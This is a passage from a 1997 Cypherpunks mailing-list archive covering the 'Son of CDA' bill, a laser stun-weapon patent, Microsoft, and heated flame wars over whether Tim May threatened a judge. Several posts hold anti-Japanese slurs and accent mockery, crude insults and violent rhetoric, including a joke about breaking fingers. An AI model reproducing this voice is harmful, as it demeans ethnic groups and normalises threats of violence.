other age verification would impose a severe financial and logistical burden,
even on commercial websites."

The ACLU said there were serious constitutional problems as well with the
bill's definition of "harmful to minors."  In addition to using a vague
definition of what constitutes "harmful material,"  the bill does not make
any distinction between material that may be harmful to a six-year-old but
valuable for a 16-year-old, such as safer-sex information, said Chris Hansen,
an ACLU Senior Staff Attorney and member of the Reno v. ACLU legal team.  

Further, Hansen pointed out, unlike other "harmful to minors" statutes that
have been upheld in the courts, the bill does not define whose community
standard will be used to determine what material is harmful.  

"Invariably, those who decide what is harmful to a minor are going to be the
least tolerant members of a given community -- such as the group in Oklahoma
who sought to remove the award-winning film 'The Tin Drum' from  local
libraries and video stores," Hansen said.

The Supreme Court's landmark decision striking down the CDA was issued on
June 26 of this year, 16 months after the law was enacted and the ACLU filed
its challenge.  In a ringing affirmation of online free speech, the Court
said that 'the interest in encouraging freedom of expression in a democratic
society outweighs any theoretical but unproven benefit of censorship.'  

	"While we rejoiced in the Supreme Court's decision last June, we knew that
the battle was not yet over," said Solange Bitol, legislative counsel on
First Amendment issues for the ACLU's Washington National Office.  "When
Congress returns to session in the New Year, we will be ready for Round Two
in the battle to protect our free speech rights."
	
-endit-
	






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 14 Nov 1997 01:50:03 +0800
To: cypherpunks@cyberpass.net
Subject: Fwd: Set Phasers to Stun.
Message-ID: <v04002736b090e9185a7c@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Resent-Date: Thu, 13 Nov 1997 12:56:52 -0500
From: glen@substance.abuse.blackdown.org
To: 0xdeadbeef@substance.abuse.blackdown.org
Cc: bostic@bsdi.com
Subject: Set Phasers to Stun.
Date: Thu, 13 Nov 1997 12:56:48 -0500
Sender: glen@shell.ncm.com
Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
X-Mailing-List: <0xdeadbeef@substance.abuse.blackdown.org> archive/latest/2463
X-Loop: 0xdeadbeef@substance.abuse.blackdown.org
Precedence: list
Resent-Sender: 0xdeadbeef-request@substance.abuse.blackdown.org


Forwarded-by: Mark Stewart <mark@ps.cus.umist.ac.uk>
Forwarded-by: DarkTrick <dan@coromir.demon.co.uk>

      1    NS  01 Nov 97 SET PHASERS TO SHOCK . . . (358)

           By PAUL GUINNESSY

Real life is catching up with Star Trek. Hans Eric Herr from San
Diego,California, has been granted a patent for a 'phaser' that uses
laser light to stun or kill.

Crude stun weapons called tasers are already available in the US. The
weapons fire two small darts attached to a wire. A pulsing electrical
current passes down the wire and stuns the victim by 'tetanisation'. The
pulses make the muscles of the victim contract in unison, rendering
them helpless.

The disadvantages of tasers are that they can only be fired once before
they have to be reloaded. They are also classified as firearms because
they fire projectiles.

One attempt to overcome the limitations of tasers uses a stream of
liquid that hits a victim with a 10 000-volt charge. This causes painful
muscle spasms in the victim. But the liquid can split into droplets,
breaking the electrical connection, and is hard to aim. Herr's invention
uses lasers to generate intense beams of ultraviolet light.

These create a path of ionised air down which precisely modulated
electrical current is sent. The currents can be manipulated to cause
painful contractions, stun a victim painlessly, or induce a heart
attack. It has a far longer range than the taser-over 100 metres-and the
beam can penetrate clothing. The phaser can also fire many shots before
it needs reloading.

Using ultraviolet light avoids legal restrictions on weapons that blind
with laser light, since it would take several minutes to damage the
retina with the wavelength of light used by the device.

A hand-held version of the phaser is not yet available because the
argon-fluoride discharge-pumped excimer laser it uses is as big as a
kitchen table. Herr is hoping that others will find ways to make his
device smaller and more powerful, as well as improve its range. He says
that any technically competent person would be able to build a phaser.

Steve Aftergood, a senior research analyst at the Federation of American
Scientists in Washington, says: 'At first glance it seems incredible,
and rather disturbing.'

New Scientist
Volume  156.   Issue   2106.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Koro <ksahin@best.com>
Date: Fri, 14 Nov 1997 05:19:20 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: "Son of CDA" Ignores Supreme Court Ruling, ACLU Says
In-Reply-To: <Pine.GSO.3.95.971113121510.9215A-100000@well.com>
Message-ID: <346B6815.2F08@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> Any business merely displaying material without first requiring a credit card
> or other proof of age could be found liable under the statute, which
> criminalizes commercial distribution of words or images that could be deemed
> "harmful to minors," even if no actual sale is involved, Beeson said.

A credit card passes for proof of age?  I had a credit card as soon as I
was old enough to drive (it made my father's job of family accounting
easier when all of the gas payments showed up on the credit card bill)
at age 16.

A larger problem I see with credit cards being used as a form of ID is
that it may become comon practice to ask for name and credit card number
at the enterance to every contravercial site.  If so, people will begin
to abuse the system, as it is a very simple matter to start logging all
names, credit card numbers, and expiration dates of people who enter
your site, and then make charges to their credit cards.
-- 
					KORO





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 14 Nov 1997 22:44:29 +0800
To: "S. M. Halloran" <mitch@duzen.com.tr>
Subject: Re: Bell vs. Woodward--justice?
In-Reply-To: <199711121324.PAA14037@ankara.duzen.com.tr>
Message-ID: <Pine.LNX.3.91.971113125835.725B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> This 19-year old was way out of her league and not at all fit for 
> child care activities. 

Obviously, but this isn`t the point in question.

> I am a firm believer that baby care for 3 year 
> olds and less should be licensed.  The requirements for the license 
> would be minimal.  It just merely shows that you understand that babies 
> less than 1 year of age often cry--some hardly at all, others damn near 
> all the time--and that 97% of the time there is a reason that can be 
> found and the solution implemented, and the other 3% of the time the 
> reason is beyond our understanding, but things will just seem to take 
> care of themselves.  

Wrong, there is no justification for licensing whatsoever, I suggest 
parents taking on carers for their children agree a responsibility
distribution for the welfare of the child, and have the good sense not to 
employ inept unqualified childcare staff. The parents are much to blame 
in the death of the child, particularly in this case because they were 
both qualified doctors and did not notice the child was unwell.
I can see a motivation for wanting better regulation, but it is attacking 
the situation in the wrong way, more laws never help. A voluntary 
organisation for childcare workers, admission to which depended on 
fulfilling the requirements you outline above for your licence idea, 
would be useful, concerned parents could simple ensure their chosen 
applicant was a member of the organisation before hiring them. Mandatory 
licensing is wrong.

> The licensing procedure might also be a way of 
> checking if you have the minimal temperment to deal with infants and 
> small children.

No, this is of no value, I don`t have the right temperament to deal with 
children, I am too easily made angry by them, this does not indicate I 
would harm a child, I simply have the sense to recognise I am not suited 
to caring for children.
I do not see anyway how such a character judgement might be made, and by who?

> What about the judge?  His first purpose is to make sure the law is 
> followed, especially with respect to trial procedure.  But with the law 
> is JUSTICE!  It has always been my belief that the ultimate goal of 
> these sacred occasions is justice. 

And justice cannot be served when an appointed official can overturn or 
reduce a conviction, only an appeal should do this. Sure, if the jurors had 
ignored proper procedure it is the duty of the judge to declare a 
mistrial, that is entirely different from reducing a charge and basically 
letting a convicted felon go free.

> I am rather curious to know where public opinion lies in the UK, just 
> to get a fix on cultural differences.

The opinion is generally very simplistic, most people think she 
didn`t do anything, and ask most people if she shook the child and they 
will say she didn`t, even though Woodward herself doesn`t deny doing so.
Most people don`t have any defined opinion on the judicial aspect of the 
case as regards the actions of the judge, other than to be pleased he 
freed her. The UK media spin has been very favourable to the Woodwards.
I also think there is a certain amount of truth in the suggestion that 
the defendant was convicted by the jury because of her traditional 
British "stiff upper lip" reserve, wheras the Eappen family knew just how 
to play the court with the usual American "Victim impact statement" 
designed to be emotive and persuasive to the judge in gaining a high 
sentence, of course in this case it had little effect. 
I don`t know if you have seen a well publicised British trial (cameras 
aren`t allowed into court rooms here so many never get to be high profile), 
but although the system is much the same as regards proper procedure, the 
atmosphere is entirely different. Something like the Eappen victim 
statement would make a UK jury sick, and probably encourage an aquittal.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 14 Nov 1997 03:31:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Mad as Hell
Message-ID: <v0400273cb091012f0380@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:23 am -0500 on 11/13/97, Tim May wrote:

> >:-). Actually, Tim, I don't think it's dangerous, at least to me
> >personally, and to anyone else on this list, for that matter. What I said
> >was, you're counterproductive to your own cause (you could become a poster
> >for statism, as I said before), and, if you continued to directly threaten
> >the lives of people who had the power to hurt you, in public, with direct
>
> You have now repeated this "Tim has directly threatened the life of a
> federal judge" charge several times.
>
> This is false.


Well, I certainly used two forms of the word 'direct', right there in black
and white, didn't I?

And, having just watched Nat Hentoff say on TV that a threat would be
something where you specified the time and place of some kind of violence
against a person, maybe your saying something like,

> But in many ways, this is good news. The war is coming faster than I
> thought.
>
> The judge in this case has committed a capital crime.

was *not* a threat against a judge?

Right, Tim, if you say so.

I expect that, in the legal, Hentoff sense, it's not a threat. After all,
you didn't specify a date and time, and you didn't even say you,
personally, were going to do anything at all. However, it's probably more
than enough reason for someone with too may kevlar coats back in the office
closet to trump something up and force a confrontation with you, just like
they did with Bell. Well, no. Bell's arrest was just a byproduct of his
car's siezure, like they said in the papers, wasn't it?

Nonetheless, it's  well within conception that, since everyone's breaking
the law somehow, that something you're doing or have done would be used to
cause a percipitating event, which you yourself say you would respond to
with force.

Astoundingly, it also seems like you're *trying* to create a confrontation.
You seem to dare to them to do something so that you can meet them at the
door, Mossberg in hand. "Please don't throw me in that briar patch", in
other words. For instance, just last night, you said,

> And the rumors are mounting about a series of possible raids around the
> holidays this Thanksgiving Day. The FBI has acknowledge the fax sent out as
> legitimate.
>
> While militia members and Cypherpunks may not be able to withstand a full
> out war for very long, the mere willingness to defend oneself can itself
> act as a deterrent. This is basic game theory, basic strategy.

It sounds an awful lot like Fort Apache, Corrolitos, to me, Tim.

> You claim I am doing "the cause" a disservice.

Well, your "cause", whatever it is, certainly. I'm not sure, for instance,
that holing yourself up behind a steel-reinforced door with lots of fun
firepower is doing much for the spread of strong cryptography, I'll grant
you that...

> I claim you are spreading
> misinformation and trumping up a charge which you must hope is being read
> by the Feds.

Right. And when Thanksgiving day comes, Tim, and the no-knock doesn't
happen, or, even more interesting, nothing happens anywhere on Thanksgiving
day, what are you going to say about my "misinformation" attack, then? That
it "failed"?

Remarkable. You win no matter what, right? Prove to me that there is no
conspiracy? Or flying saucers, or whatever else?

:-).


Frankly, Tim, I don't think the Feds really care about you, or anything
you've done, to date. Or at least they wouldn't, if you weren't, like the
forest knight in Monty Python and the Holy Grail, daring them to hack off
another limb all the time.

It seems to me that, before this little interchange we've been in, where
someone finally stood up and said that the emperor had no clothes (at least
as far as kevlar outerware and the global conspiracy to destroy the
American Way is concerned) you would have continued to try to bait the
federales, imaginary or not, with inflamatory trolls like those above,
apparently in the hope that you could force a showdown with them.

Hell, maybe you'll actually make it happen, someday. I guess I won't be
surprised when it does. Or particularly care, even, given your vitriolic
reception the mirror in your face.

> You sicken me.

Um, well... Take a pill, maybe?

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 14 Nov 1997 03:42:54 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <1.5.4.32.19971113192235.00c03744@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous of EFGA wrote:

>This illustrates what a liability the poster has become to the cypherpunks.
>The group is becoming just another militia front, identified with racism
>and white supremacy, applauding violent murder of government agents,
>one step from applauding the Oklahoma killings.  Its original purpose
>all but forgotten, the list has died, poisoned by the hatred flowing from
>its leader.

Wait a minute, that list is way too short. This list is far more diversely
mean-spirited, and venomously hilarious, than that. It offers a lot more 
hatred and humor than you give credit for, or maybe can enjoy.

All praise to Tim, beloved mad as hell assassin, he's one of the sharpest 
killer humorists-satirists here, call's the jokes and the buffoons as he sees 
them, insults hot shot leaders and fawning beggars indiscriminately.
Hate and love on both Glocks.

Check the anarchives: Tim's no leader, says it often, proves it more so
by destroying anyone who pretends to be, scares off anyone who tries 
to suck up to him for protection, and promises to kill (filter) the
bloodsuckers 
if they send PGPed tips. Kill them with ridicule for not thinking for 
themselves, paying their own way, lapping others' blood and brains. If 
that doesn't work he tells a public joke about their overtures. Then the 
anon shits fly.

Is he not these very days razzing the big iron folks, taunting the tank
in Tienamen Square? We'll yet see some anon turds for this, too,
maybe yours is one.

Some have weird sense of playfulness, cut your throat to see you flop.
Call you a leader, a bullseye target.

Hettinga, helluva beloved Bob, another bleeding edge satirist, self-flagellator
for philo-fun and E$, this is adose of clap also for your exemplary rant of a
schtick of a buffoonery of a calling them as you deadeyedly see them
miraging the desert of Maine.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 14 Nov 1997 04:39:15 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: The judge in this case has committed a capital crime.
In-Reply-To: <v0400273cb091012f0380@[139.167.130.248]>
Message-ID: <199711132026.PAA20827@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.
> The judge in this case has committed a capital crime.





- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 14 Nov 1997 04:38:57 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NSAscape
In-Reply-To: <199711131759.SAA03444@basement.replay.com>
Message-ID: <199711132029.PAA20859@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711131759.SAA03444@basement.replay.com>, on 11/13/97 
   at 06:59 PM, nobody@REPLAY.COM (Anonymous) said:

>NETSCAPE PRODUCTS WITH FORTEZZA 

Anyone who thinks that N$ is on "our" side of the crypto/privacy issues
has not been paying any attention to their products and policies over the
past years.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sat, 15 Nov 1997 07:01:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <199711142245.QAA05891@dfw-ix4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga wrote:
>> If Tim and others fail to exercise their right to say what they
>> believe, then it is likely those rights will be suspended in due
>> time.
>
>Like I said before, it makes sense, but not because Foucault said
>it. Broken clocks, and all that. Besides, Monty, I hate appeals to
>authority almost as much as I hate ad honminae.

Are you asking me to use Foucault's line without giving him credit?
That doesn't seem right to me.

Foucault's essay was insightful and significantly influenced my point
of view.  Not only does he deserve the credit, but mentioning his name
may direct other interested readers toward his work.

BTW, how much of Foucault have you actually read?  I am generally
unfamiliar with his work, but I have a sinking feeling the same can be
said for certain of his critics.

It is easy to give French intellectuals a cursory reading and conclude
that there is nothing there.  However, often there is quite a lot of
something there, but it comes from people with a different
intellectual tradition than our own so it is harder to understand.  An
apparently absurd sentence is often a reference to a body of work with
which we are not familiar.

>> It seems to me that Tim said "The judge in the Paladin case
>> committed a capital crime" and not "The judge in the Paladin case
>> committed a capital crime and should be gunned down in the streets
>> like a dog."
>
>Frankly, I believe that the two sentences above are exactly the same
>thing,...

No, in the first case the possibility of a fair trial with an
impartial jury exists.  They are different statements.

>...but that it was pretty apparently a wish (if not a threat, if you
>want to pull semantic hairs until one bleeds) that the judge be
>assassinated,...

Tim has repeatedly made it clear to the world that this was not his
meaning.  What is your purpose in declaring otherwise?

>...because a judge can't be killed, legally, for *any* decision he
>makes. I expect that gunning the judge down in the street like a dog
>would fit Tim's bill quite nicely.

In every other instance in which Tim has discussed capital punishment,
it has been in the context of a trial.

If OJ had committed a brutal murder in a state without the death
penalty, say Massachusetts, and Tim said "OJ is guilty of a capital
crime", would you conclude that he was calling for his murder?

Clearly that would not be reasonable.  So why do you feel the meaning
changes when "OJ" is substituted for "The judge"?  Perhaps you harbor
latent urges to murder our public officials and wish to draw attention
from yourself by pointing the finger at Tim.  You seem to be talking
about it more than anybody else.

>And, Monty, here's another fact: the world isn't going to end on
>Thanksgiving Day, much less at the beginning of the millennium. Armed
>storm troopers are probably *not* going to decend on the denizens of
>this list and haul them off to newly built gulags in the Rockies
>somewhere, or whatever the current fantasy of the moment is.

When you drive do you always wear your seat belt, or just when you are
going to have an accident?

Incidentally, it is well documented that in the 1980s, the USG had
detailed plans for mass arrests of dissident citizens.  Ten army camps
had been selected for this purpose.  The plan was to be executed in
the event the country invaded Nicaragua.  The USG has incarcerated
masses of U.S. citizens without trial at least twice during the 20th
century.

To claim it cannot happen again seems a little naive.

>> The book I am reading is called "The Aurora: A Democratic-Republican
>> Returns" by Richard N. Rosenfeld.
>
>Okay. Here's where I cop to bad craziness. It's now time for me to
>fess up and get my butt hammered like a gentleman. :-).

You certainly take your medicine like a man.  Good.

>> 1. Publius was John Jay, Alexander Hamilton, and James Madison.
>> Jay and Hamilton were leaders of the party attempting to subvert
>> the Constitution.
>
>Mostly Madison, I believe, and, oddly enough, a protoge of Jefferson
>at one point.

Hamilton wrote 51 of the essays, Madison 26, Jay 5, and 3 were written
jointly by Madison and Hamilton.

If you are saying he attempted to subvert the Constitution, this
letter will be of interest.  (May 20, 1798 Madison to Jefferson):

>The Alien bill proposed in the Senate is a monster that must forever
>disgrace its parents.  I should not have supposed it possible that
>such a one could have been engendered in either House & still
>persuade myself that it cannot be fathered by both... These addresses
>to the feelings of the people from their enemies may have more effect
>in opening their eyes than all the arguments addressed to their
>understandings by their friends.  The President also seems to be
>co-operating for the same purpose.  Every answer he gives to his
>addressers unmasks more and more his principles & views.  His
>language to the young men at Ph[iladelphia] is the most abominable &
>degrading that could fall from the lips of the first magistrate of an
>independent people...  It throws some light on his meaning when he
>remarked to me "that there was not a single principle the same in the
>American & French Revolutions;"... the abolition of Royalty was, it
>seems, not one of his Revolutionary principles...

>> 6. Jefferson did not write the Bill of Rights.  He was in France at
>> the time and was pleased to hear these amendments had been added to
>> the Constitution.
>
>I don't believe that's right. I believe, if you check it out, that
>Jefferson sent the Bill of Rights to the Constitutional Convention
>from France, and that Madison, ironically enough, had a hand in
>getting it passed.

Perhaps it is your turn to crack open a book and find the reference.
I would be quite interested (and surprised) if you can substantiate
your claim.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 14 Nov 1997 05:29:19 +0800
To: Declan McCullagh <declan@well.com>
Subject: CDT: The Recycling / Re: CDA: The Sequel -- introduced in the U.S. Senate
In-Reply-To: <v03007805b0902b2616d6@[204.254.21.105]>
Message-ID: <346B6B43.487@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:

> Jonah,
> Contrary to what you claim, I'm not "trying to accomplish" anything except
> report the facts.
... 
> Then CDT responded to my article publicly, incorrectly claiming that CDT
> did not embrace the harmful to minors "compromise." My post was to correct
> those inaccuracies and clear the air -- and, you'll remember I concluded by
> saying I hoped we could move forward to discussing Coats. You seem unable
> -- or unwilling -- to do that.

  Has anyone noticed that the cycles of CDT intrusions into the
CypherPunks list occurs with about the same frequency as the phone
calls from the aluminum siding salesmen who call us in their search
for old people with huddled life savings, struggling to be free?
  The underlying concept is the same. Once they stretch their scam
a little too far, and get run out of town, the perpetrators move on
to fresh territory. When they run out of new areas to run their scam,
then they begin re-working old territory, starting with the areas
where their targets are likely to have forgotten the details of their
last scam.
  CDT should take a lesson from the aluminum siding salesmen, and 
change their name when they start a fresh round of scamming. 
 ("No ma''m, we're the CD'T&A'. No connection to those scumbag, lying
ratfuckers that suck the dicks of the Fascist powermongers. No...that 
was _another_ Jonah Seiger. I am trying to atone for his sins against 
my name by offering you a special deal on a revolutionary new product
called VaporSiding."

  Right...
  What list subscribers need to understand is that the CDT recognizes
the need to compromise on important issues, so that 'reasonable' people
like themselves are not unjustly linked with terrorists like Tim May,
who threaten the lives of judges four or five times a day.
 (Which we know, because Little Bobby Hettinga has been pointing his
  finger at Tim eighty times per post, reminding us of Tim's death
  threats against the OKC bombing judge, who Tim plans to slaughter
  at 4 p.m. next Thursday.)

  Tim May, JUDGE KILLER, sent a post to the list that quoted the
passage that Louis F. Hettinga has been misrepresenting, only to
have LFH and other list members (some of who should know better)
continue to recycle/respond-to this misrepresentation of CONVICTED
JUDGE MURDERER Tim May's words.
  Naturally, 'reasonable' organizations, such as the CDT, will need
to distance themselves from CONVICTED JUDGE MURDERERS AND RAPISTS
like Tim May, in order to get at the life savings of increasingly
senile supporters, and be listened to seriously by those with whom
they are seeking to compromise our freedom and privacy as a good-
faith gesture to those who would frown on the CDT supporting those
freedoms and privacies for even CONVICTED JUDGE MURDERING, RAPIST
PEDOPHILE, DRUG-DEALING TERRORISTS such as Tim May.

  My respose to the CDT is thus: "Beat it, guys. The Electronic Fraud
Foundation is working this side of the street. The Georgia Cracker
remailer operators tried cutting our action on this list, but they 
quickly found that you can't type with broken fingers."

TruthMonger
"It's not VaporSiding until *I* say it's VaporSiding!"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 14 Nov 1997 05:59:33 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <346B737A.1C58@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote: 
> > At 10:37 PM -0700 11/12/97, Nobuki Nakatuji wrote:
> > >There are RC4 sourcecode in ftp.replay.com.
> > >but, Is it  same RC4 developed RSADSI ?

> > You go back where you came. You go back hotmail. We tired your stupid
> > questions on RC4 and your Misty posts.

> > (And they wonder why we kicked Japan's butt.)
> >
> > --Tim May
 
> This illustrates what a liability the poster has become to the cypherpunks.

  Hey, pal. If you're going to attack Tim May on this list, you'd better
be ready to back it up with some ASCII Art graphics.

> The group is becoming just another militia front, identified with racism
> and white supremacy

  I tried to tell my fellow CypherPunks that it was a mistake to 
include that racist, white supremacist cypherpunks-j list in with 
the other CDR lists, but they still let those slant-eyed white
supremacists join our Mary band, skirts and all.

> applauding violent murder of government agents

  As opposed to promoting the wearing of "Shoot Me First!" T-shirts
to bed, in support of no-knock, black-clad government Ninja's?

> one step from applauding the Oklahoma killings.  

  You must have had your hands over your ears if you missed the
cheering, whistling, hooting and cat-calls by _some_ of the
list subscribers over the OKC wake-up call issued by some unknown
person, in response to the government slaughter of men, women and
children at Waco.

> Its original purpose all but forgotten, 

  I believe that the original purpose of the list was to piss off
people such as yourself. I imagine that individual list subscribers
all have their own concept of what the "original purpose" of the
list was, even if they only subscribed yesterday, like yourself.

> the list has died, poisoned by the hatred flowing from its leader.

  Sure, change the subject and attack _me_, now! (Did I forget to
announce the results of the vote taken last night at the Coal Dust
Saloon in Bienfait, Saskatchewan?)

EgoisticPretentiousSelfPromotingAssholeMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lobelt Hettinga <lh@dev.null>
Date: Fri, 14 Nov 1997 06:21:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <346B7B5D.2CAF@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote: 
> > At 10:37 PM -0700 11/12/97, Nobuki Nakatuji wrote:
> > >There are RC4 sourcecode in ftp.replay.com.
> > >but, Is it  same RC4 developed RSADSI ?

> > It am developed.

> The group is becoming just another militia front, identified with racism
> and white supremacy, applauding violent murder of government agents

I *rove* this rist!

Banzai,
  Lolbelt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 14 Nov 1997 06:05:20 +0800
To: cypherpunks@toad.com
Subject: Microsoft World 1.0 from the Netly News (and a funny response)
Message-ID: <v03007805b091246a302e@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



*********

http://cgi.pathfinder.com/netly/opinion/0,1042,1576,00.html

The Netly News (http://netlynews.com/)
November 13, 1997

Microsoft World 1.0
by Declan McCullagh (declan@well.com)

        If you're Bill Gates, the last place on earth you want to be
   today is 2500 Calvert St., Washington, D.C. That's the address of the
   "Appraising Microsoft" conference, where politicos and high tech
   leaders from around the country are teaming up to take a big swing at
   the richest man in America.

        It would be a slugfest -- if only Gates were around to defend
   himself. Ralph Nader, the conference's organizer, invited him, but
   Gates declined through his lawyers. "It appears that your conference
   will provide a forum for anti-Microsoft pundits and business
   competitors to raise their litany of tired allegations in an attempt
   to manipulate public opinion against our company," wrote attorney
   William Neukom, who is defending Microsoft from antitrust allegations.

        Which is only natural. Everyone Microsoft has ever pissed off
   (and Microsoft has pissed off a lot of people) seems to be here today.
   Who would pass up a chance to flame the Boy Billionaire -- especially
   when there's safety in numbers?

[...]

***********

Date: Thu, 13 Nov 1997 14:27:41 -0500
To: declan@pathfinder.com
From: Steve Kremer <steve@jokewallpaper.com>
Subject: Ralph Nader's Computer?

I enjoyed your story about the conference.  When I first heard about it I
had a question to ask Ralph for my monthly humor newsletter...So I called
his office.  Here's the item..

Have Fun,
Steve Kremer

JAMES SPADER, DARTH VADER, RALPH NADER. WHICH OF THESE THREE
OWN A COMPUTER??

In the month of November you will be hearing a lot about a media event called
the "Appraising Microsoft Conference" held in Washington, D.C. and hosted
by consumer gadfly Ralph Nader.  If you visit their Web site at:

http://www.essential.org/appraising/microsoft/

you can read about their plans to discuss Microsoft. They profess
high intentions of seriously discussing Microsoft's influence on the future,
but it looks to me like a "trash Microsoft festival".  Not that
Microsoft doesn't deserve to be trashed, but I thought the Nader folks
and their "conference" was utterly transparent.  I began to wonder...just
how much does Ralph Nader know about computers and the World Wide Web.  On
their
Web site they list their phone number and the name of their media contact
Caroline Jonah.  Armed with my trusty Sony integrated phone/recorder I gave
her a
call.  Below is a transcript of a portion of our conversation.

Steve Kremer:
"Do you happen to know what computer system Ralph Nader uses.
Is he a Windows or Mac guy?"

Caroline Jonah:
"Umm, I don't think, let me think, he doesn't even have a computer
in his office to tell you the truth."

Steve Kremer:
"Oh really, he isn't one of those laptop toting people?

Caroline Jonah:
"In our office we have both, we use both, yeah."

Steve Kremer:
"O.K., so Mr. Nader doesn't even have a computer?"

Caroline Jonah:
"We have both in our office, so he can use either one, so. But in his
office, I don't think he even has one in his office."

I asked if she had actually ever seen Ralph using a computer and she said
I would have to talk to him directly. She promised that she would have Mr.
Nader give me a call later that day.  He never called.

So when you read the inevitable story coming out of Washington D.C. in the
middle of the month about Consumer Crusader Ralph Nader taking Microsoft
to task, remember it's being headlined by someone who has probably never had
their hand on a mouse except maybe to take a dead one out of an
OSHA approved trap.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lobelt Hettinga <lh@dev.null>
Date: Fri, 14 Nov 1997 07:09:59 +0800
To: Declan McCullagh <declan@well.com>
